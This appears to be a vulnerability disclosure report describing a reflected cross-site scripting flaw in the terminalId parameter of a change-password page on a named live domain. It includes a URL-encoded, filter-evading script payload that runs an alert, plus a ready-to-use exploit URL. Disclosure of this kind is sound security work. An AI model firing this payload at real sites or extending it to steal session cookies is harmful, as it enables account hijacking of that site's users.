Cross-site Scripting (XSS) - Reflected

How it was found

hello dear support

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

i have found the issue on https://eweb01.mtn.co.ug

param and path /evds_portal_fe/change_password.htm?terminalId=

payload "%3c%3c%73%63%72%5c%61%61%61%2f%73%72%63%3d%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%70%6c%61%79%73%74%61%74%69%6f%6e%20%72%65%66%6c%65%63%74%65%64%20%78%73%73%20%42%59%20%42%34%47%47%33%52%22%29%3c%2f%73%63%72%69%70%74%3e"

https://eweb01.mtn.co.ug/evds_portal_fe/change_password.htm?terminalId=%22%3c%3c%73%63%72%5c%61%61%61%2f%73%72%63%3d%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%70%6c%61%79%73%74%61%74%69%6f%6e%20%72%65%66%6c%65%63%74%65%64%20%78%73%73%20%42%59%20%42%34%47%47%33%52%22%29%3c%2f%73%63%72%69%70%74%3e%22

URL encoded GET input terminalId was set to 19146"();}]9520

The input is reflected inside a <script> tag between double quotes.

Impact

XSS Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.